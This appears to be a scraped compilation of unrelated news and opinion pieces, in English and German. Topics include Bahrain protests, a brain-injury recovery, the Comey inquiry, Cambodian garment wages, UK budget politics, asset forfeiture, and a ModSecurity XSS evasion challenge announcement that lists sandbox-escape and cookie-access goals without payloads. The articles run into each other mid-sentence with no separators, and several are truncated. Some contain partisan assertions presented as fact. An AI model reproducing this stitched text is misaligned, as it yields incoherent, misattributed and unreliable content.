“We have always insisted and stressed that we consider stability and security in all our neighbors as our own stability and security and remain committed to it,” the Iranian official added.
Bahrain, home to the US Navy's 5th Fleet and an under-construction British naval base, has witnessed peaceful anti-regime protests against the systematic abuse and discrimination against the country’s Shia population since 2011.
Manama has suppressed the demonstrations using lethal force, killing scores of pro-democracy protesters.
Bahraini authorities have also detained human rights campaigners, broken up major opposition political parties and revoked the nationality of several activists.
From time to time, the ruling Al Khalifah regime would parade detainees and accuse them of having links to Iran.
Iran has categorically rejected the allegations, advising Bahraini officials to end the crackdown and address the root causes of the problems gripping the tiny Arab state.Steven Thorpe, then 17, suffered horrific injuries in a multiple car crash, leaving him in a medically-induced coma and another man dead.
Doctors told his family he would never recover and asked them to consider donating his organs before his life-support machine was turned off.
Instead, Steven’s father enlisted the help of private GP Julia Piper to check his son again as doctors at University Hospital in Coventry, West Midlands, agreed to let a neurologist re-examine him.
Remarkably, he detected faint brain waves indicating Steven had a slim chance of recovery and medics decided to attempt to bring him out of his coma.
Just five weeks later, he was discharged from hospital having made a near-full recovery.
Steven, a 21-year-old trainee accountant, has now spoken of his progress for the first time and paid tribute to his family and the GP who may have saved him.
He said: "My father believed I was still there.
"He expressed his views to Julia Piper and I think she listened very closely to what my dad had said.
"My impression is maybe the hospital weren't very happy that my father wanted a second opinion.
"I think the doctors wanted to give me three days on the life support machine and the following day they said they wanted to turn it off.
"The words they used to my parents were 'you need to start thinking about organ donations'.
"I think that's what gave my dad energy, he thought 'no way'.
"I think if my dad would've agreed with them then it would've been off in seconds.
"If my parents hadn't asked for the second opinion, and if Julia hadn't been there, I wouldn't be here today."
Steven, from Kenilworth, Warks., was been travelling home from nearby Leamington Spa in February 2008 when the vehicle he was in was involved in a collision with two other cars and a horse that had run loose.
The horrific crash left one man dead and the horse was also fatally injured.
Steven was rushed to hospital and surgeons performed a craniotomy to help alleviate any swelling on his brain.
But despite the operation being successful, brain scans failed to detect any electrical pulses and he was declared brain dead.
Steven said: "As far as I am concerned, living is a full recovery. From how I was to how I am now, I think it's a miracle.
"I drive to work every day, I don't think anything is holding me back. There's no point dwelling on it, I just pull my socks up and get on with it.
"Hopefully it can help people see that you should never give up. I've had so much positive feedback about it.
"If you believe it then follow it, that's the motto. My father believed I was alive - and he was correct.
"It's hard for me to even ask my parents about what happened.
"They do cooperate with me because they want me to understand it all but they don't want to be reminded about it."
Dr Piper, who runs a private practice in Leicester, said: "They had doctors saying he wasn't going to live but the parents felt there was flickers of response and it wasn't just wishful thinking.
"I had this strong feeling that this wasn't right and then eventually I got someone else to look at him and of course it proved to have been the right thing to have done.
"It's an inspirational story about never giving up.
"He's a remarkable young man and his recovery has been astonishing."
Since leaving hospital four years ago, Steven has had four operations to reconstruct his face, including having his nose rebuilt and an artificial eye socket made.
He also has physiotherapy session to improve the movement in his left arm which was badly injured in the road smash.
In a statement, University Hospitals Coventry and Warwickshire NHS Trust said: "The injury to Steven's brain was extremely critical and several CT scans of the head showed almost irreversible damage.
"It is extremely rare that a patient with having suffered such extensive trauma to the brain should survive.
"However, critical care and other specialist teams continued to support his systems through his critical period and we were delighted to see Steven recover and make progress against all the odds.
"He is truly a unique case."The committee’s chairman, Sen. Chuck Grassley (R-Iowa) announced last week that he will launch a probe that examines not only what led to James Comey’s surprise firing last month, but also any attempts to influence FBI investigations under the Obama administration. | AP Photo Senate Judiciary leaders to meet with Mueller
Leaders on the Senate Judiciary Committee, who are investigating the circumstances around the firing of former FBI Director James Comey, will meet with special counsel Robert Mueller this week, three congressional aides confirmed Tuesday morning.
The committee’s chairman, Sen. Chuck Grassley (R-Iowa), and its top Democrat, Sen. Dianne Feinstein of California, announced last week that they will launch a probe that examines not only what led to Comey’s surprise firing last month, but also any attempts to influence FBI investigations during the Obama administration. The meeting was first reported by Reuters.
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The meeting, scheduled for Wednesday, will include Grassley, Feinstein and Sens. Lindsey Graham (R-S.C.) and Sheldon Whitehouse (D-R.I.), according to one of the aides.
Key senators on the Intelligence Committee, which is leading the congressional investigation into Russia’s meddling in the 2016 campaign, had a private meeting with Mueller last week to ensure their respective probes don’t conflict with each other.
But members of the Judiciary Committee, which has broad oversight of the Justice Department and the FBI, have been seeking their own ways to make sure that the congressional probes and Mueller’s investigation can run simultaneously.
“It’s a possibility, as we saw in things like congressional grants of immunity to witnesses who then can’t be prosecuted,” Whitehouse said in an interview last week about the potential for the probes to run into each other. “It’s also possible, if congressional testimony outs a cooperating witness who otherwise people don’t know is cooperating.”
Whitehouse added, “There are a few areas where it’s possible for there to be some conflict, and so that’s why we’ve asked for the Department of Justice to set up a deconfliction apparatus of some kind so we can talk to each other.”
A Judiciary subcommittee led by Whitehouse and Graham, which has already been looking into the FBI’s role in the Russia probe, is scheduled to hold a hearing Tuesday afternoon looking at concurrent criminal and congressional investigations.A garment worker on strike holds a banner demanding a minimum salary of $160 a month on December 27, 2013 in Phnom Penh, Cambodia Omar Havana/Getty Images
Early one morning about a week ago, I awoke in a shiver, grabbed a purple cotton shirt from my closet and pulled it over my head. I didn’t notice the label. I made my coffee and checked the news. On the other side of the globe, five Cambodians had been shot and killed and more than 20 wounded as military police cracked down on a swelling demonstration of garment workers protesting for higher pay. I clicked on the wrenching photo of a body bathed in blood, his shirt and pants painted the same startling red as the dirt beneath him. As rocks, bricks and Molotov cocktails flew, armed forces responded with batons and bullets. The human-rights group Licadho called it the worst violence against Cambodian civilians in 15 years. It’s a remarkably risky job, making clothes for Westerners. When the Rana Plaza factory collapsed in Bangladesh in April, killing more than 1,100 people, we Westerners responded with a collective pause: How, exactly, should we think about the workers who make our clothes? But we didn’t think long or hard enough. In October fire killed seven workers in a Bangladesh fabric mill that supplied cloth for Western companies. Human Rights Watch has said the tragedy could have been prevented. And now blood spatters the streets of Phnom Penh amid massive political protests, as opposition leaders demand long-standing Prime Minister Hun Sen step down after decades in charge. I looked at the shirt on my back: a Tresics tag, “made in Cambodia.” I flipped through hangers and dresser drawers to find more made-in-Cambodia labels from Mossimo, Old Navy, Faded Glory, Gap and Sonoma, purchased long ago from Target, Walmart and Kohl’s.
No quick fix
Garment manufacturing accounts for nearly $5 billion in annual exports and employs 400,000 Cambodians, according to the International Labor Organization (ILO). Workers want a minimum monthly income of $160, double their current rate. (The government has offered $100.) Most employees are young women who leave rural villages for jobs in Phnom Penh. They choose to move, often in desperation, typically with hope for something better than the hand-to-mouth existence the Cambodian countryside affords. What they find is far harder than imagined. One night last spring, a garment worker named Korn Phearum led me through the maze of her Phnom Penh neighborhood, row upon row of congested apartments. Her home, shared with her husband and brother, was a concrete rectangle about 12 feet wide and 16 feet deep, with a squat toilet in back. A slat bed occupied most of the space, leaving just a skinny aisle in which to move. All three residents slept on that bed. They ate there, cooked there and stowed their belongings — dishes, toiletries, pots and pans, baskets of clothes — atop that single piece of furniture. Next door, music blared through the walls. “It’s always like that until 11 p.m.,” Phearum said. She left her home in the countryside “because my hometown has no work,” she said. In Phnom Penh she earned about $150 a month with overtime from a small factory making jeans. “It’s not enough.” Rent, electricity, water, food and payments to relatives back home ate up all her earnings. When the minimum wage rose $10 the previous year, her rent and food costs did the same. But Phearum fared better than her neighbors, an extended family of eight nursing an ailing mother, asleep on their bed. Mop Phak and her brother, Sao Veasna, had racked up more than $2,000 in medical bills as they watched their frail mother suffer through two years of weight loss and stomach pain. They borrowed money and left their rural farm to work in a garment factory. “I’m happy because I can earn money to cure her,” Veasna said. “But I’m sad.” He saw no way to escape the worker treadmill and cyclical debt. The recent protests have clogged Phnom Penh’s streets and stymied business, with an industry loss of $200 million, The Cambodia Daily reports. The economic fallout, according to the ILO, could leave indelible scars and a tarnished reputation among international buyers. But where does it leave the worker? If brands abandon Cambodia and factories close, where would Phearum, Phak and Veasna go? Or the others entrusted to their care? There is no simple fix. To ban Cambodian labels from U.S. homes would not help workers who need jobs. It’s an age-old dilemma that goes round and round: Factories don’t pay more because international buyers pay the same, no matter how much the laborers earn. If international buyers raised their rates, they’d pass the increase onto Western consumers. And that wouldn’t work, Ken Loo, secretary-general of the Cambodian Garment Manufacturers Association, told me more than a year ago. Westerners want cheap clothes, he said. In the end, a few boycotting consumers “can’t do anything.” Loo told The Cambodia Daily that the garment industry would recover from the week’s violence. But will the workers?
Systemic changeMid-interview at his celebrity kickball tournament, Panthers QB Cam Newton spots a woman taking photos of him on her phone donning a Broncos case. The interruptions were not over yet, as Josh Norman makes an appearance. (2:18)
CHARLOTTE, N.C. -- What would happen if Carolina Panthers quarterback Cam Newton ran into a woman with a Denver Broncos cellphone cover and former teammate Josh Norman all in the span of a few minutes?
We found out Friday when the NFL MVP addressed the media near the end of his celebrity kickball tournament at American Legion Memorial Stadium.
It began when Newton was asked about his annual event. He started talking about how it was “extremely hot" when he noticed the woman with the phone taking a picture of him.
Cam Newton flashed MVP form at his celebrity kickball event Friday in Charlotte, N.C. AP Photo/Chuck Burton
Newton: “Whoa! whoa! whoa! Are you really aiming that at me?"
Newton paused, stared down the woman and said: “You! Come here!"
The woman stepped forward in front of the cameras.
Newton: “You’re really aiming that at me?"
Woman: “I’ll delete ‘em."
Countered Newton, somewhat playfully: “No, delete the case."
Denver beat Carolina 24-10 in Super Bowl 50. Newton didn’t have a very good game, if you remember, thanks in part to Broncos outside linebacker Von Miller.
Woman: “I’m so sorry. I’m so sorry."
Newton: “How long have you been in Charlotte?"
Woman: “I’ve been here six years. I lived in Denver for eight."
Newton: “Six years. You’re a Charlottean. I’m the quarterback of the Carolina Panthers. It hurts me deeply that you have a Denver Broncos cover on."
Woman: “But I was there every time you guys had the ball rooting [during the Super Bowl]."
Newton: “No you wasn’t."
Woman: “I was. So torn."
This is when Norman, Carolina’s Pro Bowl cornerback last season, entered the picture. Norman stopped by to participate in the fundraiser on his way to his hometown of Greenwood, South Carolina, where this weekend he will receive the key to the city.
Newton: “I’m trying to do an interview."
Norman, who signed with the Washington Redskins after Carolina rescinded his franchise tag, kneeled down in front of Newton, holding a television microphone.
Newton: “No, I’m not doing that. Leave. You’re distracting me. Something that you’re really good at."
Norman asked Newton about his Week 15 game against Washington this season -- and about Norman himself, the player who always tried to get in the quarterback’s head during practice. Remember when they got into that little scuffle during training camp last year?
Newton: “Can’t wait. Really can’t. It’s going to be kind of reminiscent of how we used to battle in practice. I just look forward to it."
Norman: “Do you think the headband you have on is your spirit animal?"
Newton has been wearing a headband, something he has not done in the past, since offseason workouts began. Norman noticed.
Newton: “I kind of resemble it to Josh Norman’s hairdo. I don’t know what it really is. Been trying to find out for a couple of years now. This is kind of the resemblance."
Norman: “Who would win out of you and Josh Norman?
Newton: “That’s a broad question. It’s nothing that Josh Norman could do that I couldn’t do."
Norman: “Who’s the winner? Josh Norman or Cam Newton?"
Newton: “Next question, please."ISLAMABAD: Interior Minister Chaudhry Nisar on Monday said that the country's social media is playing a "negative role" by spreading rumours, a trend he says is affecting Pakistan's progress in the war on terror.
"I am not against social media but the rumours on this platform are spread through anonymous sources," he said at a press conference held in the capital.
"No one knows if a RAW agent or a terrorist is spreading rumours to bring down the morale of our forces," said Nisar adding that "negative propaganda" spread through the medium brings down the morale of security forces.
While he lauded the role of the mainstream media and thanked journalists for their support, he criticised social media for what he says is "negative propaganda against security agencies".
'Terrorists are hitting soft targets'
He maintained that the overall security situation in the country has improved through the efforts of security agencies and, referring to the killing of famed qawwal Ajmad Sabri and kidnapping of SHC CJ's son Awais Shah, said terrorists are hitting "soft targets" to hurt the nation.
About Karachi's law and order situation, he said, "Terrorists want pit us against each other through incidents like qawwal Amjad Sabri's murder and Awais Shah's kidnapping".
He negated the impression that Karachi's law and order situation has worsened by saying that the crime rate in the city has decreased considerably in the past few years due to the ongoing operation in the city.
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“McDonnell amendment” becomes a Theresa May one if she lasts long enough.
If we are on the brink of another debt crisis, it is now the Labour party attacking the Conservatives on economic mismanagement, rather than the other way round. And with the pound plunging nearly every time Theresa May delivers an important speech and the UK’s debt rating downgraded to its lowest level in history, Labour have plenty of ammunition right now.
And after three elections, the Conservative Party can no longer blame the Labour Party for the global banking crisis of 2008, for the state of the UK economy, and a globally discredited, bankrupt policy of austerity.
Tellingly, one detail TV interviewers neglect to mention is that John McDonnell is the only front bench MP on both sides of the house who has prior experience of balancing the budget in a major public organisation. He was responsible for controlling the purse strings at the predecessor of the London Assembly – the Greater London Council (GLC) brought in budgets on budget every year.
So McDonnell’s big solutions to some hefty problems may well prove stark contrast to a Conservative Government which appears out of ideas, obsessed with in-fighting over Brexit, and whose threadbare majority relies on a coalition with the DUP who despite a £1billion sweetener now refuse to vote with the government to punish nurses and medics any further.
And finally – a reminder to cut out and keep if anyone trots out the line about Gordon Brown crashing the global economy by building too many schools and hospitals, and hiring too many teachers and nurses; the line that Labour borrows, but the Tories “balance the books.”
In actual fact, Labour invariably borrows less than the Conservatives. The data always shows that. Not just that, Labour has always repaid debt more often than the Conservatives, and has always repaid more debt, on average. The trend does not vary however you do the data. See this comparison from Tax Research UK for instance:
WATCH: John McDonnell’s full speech to the Labour Party Conference:
RELATED:Asset forfeiture laws have been delivering a windfall to police departments across the country for years, but the increasing use of these rules passed an Incredible milestone in 2014.
In 2014, for the first time ever, law enforcement officers took more property from American citizens than burglars did.... Officers can take cash and property from people without convicting or even charging them with a crime — yes, really! — through the highly controversial practice known as civil asset forfeiture. Last year, according to the Institute for Justice, the Treasury and Justice departments deposited more than $5 billion into their respective asset forfeiture funds. That same year, the FBI reports that burglary losses topped out at $3.5 billion.
From the Armstrong Economics blog:
Between 1989 and 2010, U.S. attorneys seized an estimated $12.6 billion in asset forfeiture cases. The growth rate during that time averaged +19.4% annually. In 2010 alone, the value of assets seized grew by +52.8% from 2009 and was six times greater than the total for 1989. Then by 2014, that number had ballooned to roughly $4.5 billion for the year, making this 35% of the entire number of assets collected from 1989 to 2010 in a single year. According to the FBI, the total amount of goods stolen by criminals in 2014 burglary offenses suffered an estimated $3.9 billion in property losses. This means that the police are now taking more assets than the criminals.
Armstrong’s blog also points out that police have frequently been confiscating property in violation of the law, and that property is rarely returned. But hey, all those tanks and drones aren't free. Oh, wait … unfortunately, they are.
(Note: linking this data shouldn’t be taken as an endorsement of, or belief in, Armstrong’s economic theories. It’s just that he deserves credit for spotting and highlighting these numbers. )Revolution is synonymous for change. Who said you needed to be a certain complexion, size, or even have the same preferences as the person to your left or right? Exactly, no one! We all embody strength from one another and the legacies of even the greatest activists, leaders, and peers have somehow been intertwined in our psyche whether we realize it or not. In the words of Frantz Fanon, “Each generation must, out of relative obscurity, discover its mission, fulfill it or betray it.” We are the generation he speaks of, and the power is within us, as it was in Fred Hampton to provoke change, and become leaders.
Today marks the forty fourth year of Fred Hampton assassination whom the Chicago Police Department, Cook County State’s Attorney office, and the Federal Bureau of Investigation conspired to assassinate along with the revolutionary and activist, Mark Clark. Fred was a young Panther with stupendous communication skills that evoked emotion and infiltrated into the conscience of FBI Director, J. Edgar Hoover intensely enough that he made it his duty to devise a plan and completely destruct the objective of the Black Panther Party.
By Tip Jordan, AFROPUNK Contributor *
Throughout History, the African American culture has contributed greatly to not just the arts but a plethora of grand literature, and science as well as social leadership. Our representation in the political scene has been scarce to none because it seems as though every time there is a great impact of a cohesive Black alliance, it is sought out to be demolished by higher powers. This pattern is one of – if not the greatest – causes for revolt- a shifting in awareness that births a yearning to take what is not equally given nor respected.
Due to this awareness in a time coming out of the Civil Rights era, a group of young, intellectual and prolific Black men named Booby Seale, and Huey P. Newton formed The Black Panther Party of Self-Defense. What other collective of influential Afro people has left as great of a legacy other than the Black Panther Party?
Many aren’t aware of the presence that the BPP have on us today. For instance, the WIC Program (Women Infant and Children) originated by the BPP and adopted by the United States. Even to the symbol of the fist piercing the air representing solid, unbreakable power. There is no doubt that the BPP’s legacy is present in today’s society due to the fact that legendary pioneers like Jimi Hendrix and poet, Nikki Giovanni were inspired by them.
On December 4, 1969 in Chicago, Illinois, Black Panther activist Fred Hampton’s apartment was raided by the police and he was killed in his bed while asleep, along with Mark Clark who was sitting on the couch on security duty with a shotgun in his lap. From the fact that the Chicago Police department fired more than two hundred rounds, beat and dragged the bodies of the men killed and injured, it is obvious that the assassination was conspired. J. Edgar Hoover bribed William O’Neal who was jailed at the time to make rank in Fred’s camp as an informant, which he was unfortunately successful at.
Although Fred Hampton died at the tender age of twenty-one, only three years into the Black Panther’s establishment, his legacy and potential still lives on through us. We are Fred Hampton; each of us being vulnerable and having the capacity for greatness to hug our minds in order to help change the mentality of society during this pivotal time in History. No matter what barrier, privilege or one’s intent may be, murder can never murder excellence.
And still, Fred Hampton’s voice echoes through each of our fight for equality, be it Gay and Lesbian activism, or Women’s rights. His message reigns supreme in his proclamation, “You can kill the revolutionary but, you can’t kill the revolution.”
Art by Emory Douglas:
* Tip Jordan’s blog: www.beingtip.com© Screenshot N24
Seit fast zehn Jahren talkt Michel Friedman in seiner bekannten Art auf N24. Doch AfD-Sprecher Bernd Lucke war das Nachhaken des Moderators offenbar zu viel: Verärgert verließ er Aufzeichnung, stänkerte im Nachhinein aber umso lauter...
20.02.2014 - 16:44 Uhr von Alexander Krei 20.02.2014 - 16:44 Uhr
Gerade erst hat sich der Wirbel um den Auftritt von Linken-Politikerin Sahra Wagenknecht bei Markus Lanz gelegt, da sorgt ein Auftritt des AfD-Sprechers Bernd Lucke in der N24-Talkshow mit Michel Friedman für Aufsehen. Oder besser gesagt: Sein Abgang. Nach elf Minuten verließ der Politiker jedenfalls die wegen Weiberfastnacht bereits für die kommende Woche aufgezeichnete Ausgabe von "Studio Friedman", weil der Moderator ihm "ständig ins Wort" gefallen sei, wie die AfD am Nachmittag zu Protokoll gab. "Als Gast in einer Talkshow erwartet man, in angemessener Weise zu Wort kommen zu dürfen. Dies war bei Herrn Friedman leider nicht möglich", sagte Lucke.
Doch was war geschehen? Friedman hatte neben dem Euro-Kritiker mit Manuel Sarrazin auch den europapolitischen Sprecher der Grünen im Bundestag zu Gast. Gemeinsam sollte über Europa und die Folgen von Freizügigkeit, Eurokrise und zunehmender Bürokratie in Brüssel debattiert werden. Gleich zu Beginn der Sendung zitierte Friedman die AfD-Spitzenkandidatin für die anstehende Europawahl, Beatrix von Storch, mit dem Satz: "Multikulti hat die Aufgabe die Völker zu homogenisieren und damit religiös und kulturell auszulöschen." Dem schloss sich die Frage an: "Wenn das nicht Rassismus ist, was ist dann Rassismus?"
Nach rund elf Minuten fragte Friedman schließlich noch einmal bei Bernd Lucke nach, ob dieser hinter der Aussage seiner Kandidatin stehe. Eine präzise Antwort gab Lucke dabei nach Angaben von N24 aber nicht, weshalb Friedman mehrfach nachhakte. Lucke verließ daraufhin das Studio - und meldete sich später lieber in Form einer Pressemitteilung zu Wort. "Seriöse Moderation sieht anders aus. Ein Moderator hat sicherlich die Aufgabe, den Dingen möglichst auf den Grund zu gehen. Doch nicht, in dem er unliebsame Antworten auf unseriöse Art unterbricht und dem Gefragten nicht einmal einen einzigen Antwortsatz zubilligt", sagte der AfD-Sprecher am Donnerstag.
Weiter kritisierte Lucke: "Das ist keine Gesprächsrunde mehr, sondern einseitige Meinungsmache des Moderators. Jeder Gast einer Gesprächsrunde hat ungeachtet seiner politischen Meinung ein Minimum an Respekt und seriösem Journalismus verdient." Bei N24 sieht man Luckes überraschenden Abgang gelassen: "Michel Friedman moderiert seinen Talk seit knapp 10 Jahren. Übrigens sehr erfolgreich. Er hat dabei Woche für Woche hochkarätige Gäste. Viele waren schon mehrfach zu Gast. Teil seines Erfolges beim Publikum ist sicher auch die Tatsache, dass er präzise fragt und auch auf klaren, eindeutigen Antworten besteht", sagte N24-Sprecherin Kristina Faßler gegenüber dem Medienmagazin DWDL.de.
Tatsächlich ist Michel Friedman für sein hartnäckiges Nachhaken bekannt - über all die Jahre hinweg ist genau das zu seinem Markenzeichen geworden. Dass Bernd Lucke davon nun überrascht wurde, ist allerdings schwer vorstellbar, schließlich war der AfD-Sprecher im vergangenen Jahr schon einmal zu Gast im "Studio Friedman" bei N24. Damals hielt er übrigens bis zum Ende durch. Friedman selbst hat die Aufzeichnung ohne Bernd Lucke fortgesetzt. Die Sendung soll nach Angaben des Senders kommende Woche Donnerstag wie geplant ausgestrahlt werden, heißt es von Seiten des Senders. Und: Seinen Moderations-Stil werde Friedman sicher nicht verändern.
TeilenAnnouncing the ModSecurity XSS Evasion Challenge
The SpiderLabs Research Team is pleased to announce the release of the ModSecurity XSS Evasion Challenge for the community.
The purpose of this challenge is to show possible XSS defenses by using ModSecurity and to identify any weaknesses.
Challenge Setup
XSS Defense #1: Inbound Blacklist Regex Filters
XSS Defense #2: JS Sandbox Injection
Challenge Goals
1. Filter Evasion
2. Escape from the MentalJS JavaScript Sandbox
Trigger the youWon JS function Access document.location that is not undefined or sandboxed Access document.cookie that is not undefined or sandboxed
Challenge Submission
The form on this page is vulnerable to reflected XSS. Data passed within theparameter (either GET or POST) will be reflected back to this same page without any output encoding/escaping.We have activated updated XSS filters from the OWASP ModSecurity Core Rule Set (CRS). This defensive layer uses ModSecurity's Data Modification capability (@rsub operator) to insert Gareth Heyes' ( @garethheyes ) JS Sandbox called MentalJS to the beginning of html responses.It is important to understand what a JS sandbox is and how it works. You may be able to execute JS code however it is in a sandboxed environment.Your challenge is twofold:You must execute a reflected XSS attack accessing one of the DOM elements listed belowtriggering an XSS filter alert. XSS Fitler Alerts will be displayed below.You must bypass the MentalJS JS Sandbox protections and successfully execute a reflected XSS attack that executes JS code in your browser. A successful attack will be able to access one of the following DOM elements:You may toggle On/Off the defenses by checking the box in the form below. This includes disable the MentalJS Sandbox injection and also will add the X-XSS-Protection: 0 response header to temporarily disable any browser side XSS filtering. This will help to facilitate testing of working XSS payloads.
If you are successful, please notify us at any of the following places:
- security@modsecurity.org
- @ModSecurity on Twitter
- OWASP ModSecurity Core Rule Set Mail-list
- Report to GitHub Issues
Prizes
Each winner will receive a free copy of The Web Application Defender's Cookbook: Battling Hackers and Protecting Users
Blackhat Arsenal Participation
If you happen to be in Las Vegas this week for Blackhat USA, stop by the Arsenal Demos on Thursday afternoon as ModSecurity will be participating. You can try to hack at this challenge live in person!When Mahmoud Ali finishes his shift as a service technician, it's an easy walk home, across the parking lot to an aluminum toy trailer.
The 14-foot-long, uninsulated structure on the outskirts of Edmonton will be his home for the foreseeable future.
He moved into the trailer five months ago, and plans to spend the winter there.
Like so many Albertans employed in the trades, he says he knows just how much fortunes can change in a year.
This time last winter, he was living comfortably in a modest apartment on Edmonton's Jasper Avenue main street.
But since moving from Kuwait to Canada three years ago, Ali has struggled to keep a steady job in the trades.
'That's not me. I want to work'
He couldn't find work near his home and his wife in Rocky Mountain House.
Feeling listless, he moved to Edmonton in search of work so he could help pay the bills and cover the mortgage on their modest mobile home, leaving his wife behind.
He refuses to collect EI and sit at home.
"I know guys, they make 50 bucks an hour and they don't want to work for $15 an hour because they make 50. That's not me," he said. "I want to work. Anything to keep myself busy until I find a good chance."
Mahmoud Ali slept in his pickup truck for months before deciding to sleep in his trailer this winter. (CBC Edmonton ) When he landed a job with an oil and gas company in the city's southwest, he rented the Jasper Avenue apartment.But soon the Alberta economy went into a tailspin. Fewer contracts were coming to the oil and gas company where he works, and his employer was forced to scale back hours for everyone on staff.
Now he's working three days a week.
"We worked 12 hours every day until the economy came down, and then we started working 10 hours, and then after that eight hours," said Ali. "I had to let go of my apartment. I couldn't afford it anymore and I didn't want to lose my job."
When the money started running short, Ali moved out of the apartment to move in with a friend. After a few weeks, he could no longer make the $500 monthly rent payments.
He moved out and spent the next six and half months sleeping in his pickup truck.
Exhausted from sleeping in parking lots, he outfitted his toy trailer with a small cot and electric heater. He got permission from his boss to park it on the company lot.
That was five months ago.
Ali has been sleeping in this aluminium trailer for five months. (Mahmoud Ali) "The nice people at my company don't mind if I keep my trailer in the yard," he said, requesting to keep the company's name confidential. "Some people are pretty helpful in this country. I'm not worried about my life here."
Even as the temperatures plunges to brutal lows, Ali remains optimistic about his modest living quarters. He gets by with little more than a quilt, and a few wool blankets, to fend off the chill.
"It's pretty cold," Ali admitted. "I sleep on a small single mattress. A couple days ago a friend told me, 'Hey they are selling heating blankets.' So I bought one from Canadian Tire and it's working pretty well."
'We can't sit and ask for help'
Last week, he found out he'll be back soon working full-time hours. Still, even though business has picked back up, Ali remains fearful about the future.
Money is still tight and he can't shake the feeling that the bottom could fall out any time. He plans to stay in the trailer for the next year so he can save up, just in case the economy takes another turn for the worse.
More than his warm bed and the comforts of home, Ali misses his wife and two dogs. But he's willing to tough it out.
"My wife, she doesn't love it, but she realizes we have to do this. We can't sit and ask for help," he said.
"It's not really that difficult. I feel that I'm lucky more than a lot of people. If you see what's going on right now, we are very lucky people."The president of the Czech Republic has formally contacted his Greek counterpart over the plight of two ArmA 3 developers arrested on charges of espionage.
A letter from Czech leader Václav Klaus today highlighted the matter to Greek president Karolos Papoulias, which has seen Bohemia Interactive employees Ivan Buchta and Martin Pezlar held for 70 days awaiting trial.
Klaus told Papoulias that he was following the affair with "special attention" and hoped its resolution would not cause each country's relations to suffer "unnecessary shade".
President of the Czech Republic Václav Klaus.
"I would like to address a matter of two Czech citizens who were arrested in Greece and charged with espionage," Czech president Václav Klaus wrote, translated for Eurogamer by Eurogamer.cz. "This case is very sensitive to the Czech public and also to me as President of the Republic. The fate of our citizens anywhere in the world matters to us.
"I have no doubt that the democratic Greek authorities - police, prosecutors and the courts - will consider this unfortunate matter impartially and independently. Even I do not in any way want to interfere with their work.
"I want to ask you, Mr. President, to follow this unfortunate affair with special attention considering the excellent relations between our nations so this does not throw unnecessary shade onto our relationship.
"Once again, I want to assure you that I have the utmost certainty that our accused citizens will be given all the rights in the search for justice by the Greek authorities.”
Buchta and Pezlar are accused of taking photographs of Greek military installations, something the pair have denied.
They were arrested in September and have since been kept in "tough conditions", sleeping on the floor of a cell with 25 others.
Military shooter ArmA 3 is set on the island where the pair were arrested, but developer Bohemia Interactive has claimed the pair were simply in the country on holiday.
Eurogamer understands a demonstration is due to be held in Prague organised by Daniel Vávra, one of the creators of Mafia and now making a medieval role-playing game at Warhorse Studios.I have to my credit (or not) several blogs about circumcision in which I contrast my visceral antipathy towards harming a child with my loyalty to an ancient, resilient, and still relevant tradition. I also draw a distinction between a ritual that permanently removes an organ of pleasure and one which is simply superficial. And, at the risk of offending tattoo lovers, I find circumcised penises much more aesthetically attractive than uncircumcised ones, and indeed more than tattoos and body piercings. But I concede unreservedly that this is very subjective and no doubt culturally conditioned.
For over two thousand years it has been enshrined in Jewish law that where the health of a child is at risk one does not circumcise. All the commandments (except for blasphemy, murder, and adultery) are overruled immediately and without reservation where life is at stake. This is why we delay circumcisions until babies are declared medically healthy and why in the case of a child suffering from hemophilia the ceremony would be delayed indefinitely. There are plenty of other halachic precautions.
So how can one explain the sad death of yet another child because a Chasidic mohel passed on herpes when he put his mouth to the wound to draw blood?
The great and very conservative leader of European Orthodoxy, the Chatam Sofer (1762-1839) was asked to rule on the procedure of Metzitzah, mentioned in the Mishna. The mohel sucks the incision site to force a bloodflow through the cut. The Chatam Sofer writes that the original reason for Metzitzah was functional, to protect the health of the child. The flow of blood would disinfect, help healing, and dislodge any blockages caused by the circumcision itself. He argued that, given the health fears raised in his day, Metzitzah with a sponge was acceptable. Opponents of his ruling argued this was an exceptional ruling rather than a general one, and only in response to the threat of the authorities to ban circumcision altogether.
However, the default position of many ultra-Orthodox Jews, particularly Chasidim, is to perpetuate the custom, and thankfully the number of fatalities is minute. On the other hand, the more Modern Orthodox and more Lithuanian Rabbinical Council of America (RCA) recommend using the glass tube or pipette. In its paper on the subject, the RCA brings plenty of authorities, even from the strictest of Eastern European authorities, who either banned or discouraged the direct mouth method.
In Britain for many years, the late Dr. Bernard Homa, head of the Machzikei Hadass community of London, campaigned against Chasidic persistence in using Metzitzah by mouth. He wrote several articles producing all the halachic evidence, culminating in a pamphlet entitled Metzitzah, published in the UK in 1960.
A few years ago a Chasidic mohel who used the oral method in New York was found to have infected three children with herpes, one of whom died. In response, New York authorities tried to prohibit him from performing Metzitzah b’peh. However, the mohel’s attorney argued that the New York Department of Health had not supplied conclusive medical evidence linking his client with the disease. In September 2005, the city withdrew the restraining order and turned the matter over to a rabbinical court. In May 2006, the Department of Health for New York State, issued a protocol for the performance of Metzitzah b’peh which purported to allow it to continue while still meeting the Department of Health’s responsibility to protect the public health.
Despite the furor at the time until after May 2007, when Fischer was linked to another case of neonatal herpes. At that time he was prohibited by the New York Department of Health from performing Metzitzah b’peh anywhere in the state. But it seems that both he and his community ignored the ruling. The Chasidic communities, being inherently conservative and opposed to outside interference, have refused concessions to modernity (except when their own lives and health are at stake).
Even so, they have been forced to acknowledge the risk and have encouraged the use of disinfectant and mouthwash. But most medical opinion doubts that this is enough. All this quite apart from the risk the mohel runs, himself, of contracting some blood-borne disease the child might have picked up from its parents. But, hey, if he wants to take the risk, no doubt he believes his Rebbe will protect him.
Once again, it is politics that is preventing anything being done. It seems to me axiomatic that if someone causes the avoidable death of anyone, whether through Herpes or AIDS or whatever, he or she should be prosecuted for manslaughter. Still, neither in Israel nor the USA will this happen. Why? Because in certain areas, the dominant Chasidic population can be commandeered by their Rebbes to vote en masse and en bloc. This is a serious factor in many closely fought political constituencies. No one wants to offend blocs of voters, if at all possible. In Europe, the inner-city Muslim vote similarly exercises a powerful influence to stall interference.
We Jews are the first to cry foul. Why aren’t we all crying foul now? I am not suggesting a total ban. After all, we don’t ban sexual intercourse because one can pass on HIV. But I would like to prosecute any mohel who causes the death of a child through a practice that could have been avoided without infringing Jewish law. If one wants to be so holy, then one needs to take very serious precautions to avoid turning sanctity into tragedy.
The case against legislation is interference in religious affairs. But this is not a case of preventing a religious practice. It is not a ban on circumcision. It is merely closing one seemingly optional avenue of religious behavior when others are still open, even in the most diehard of communities.
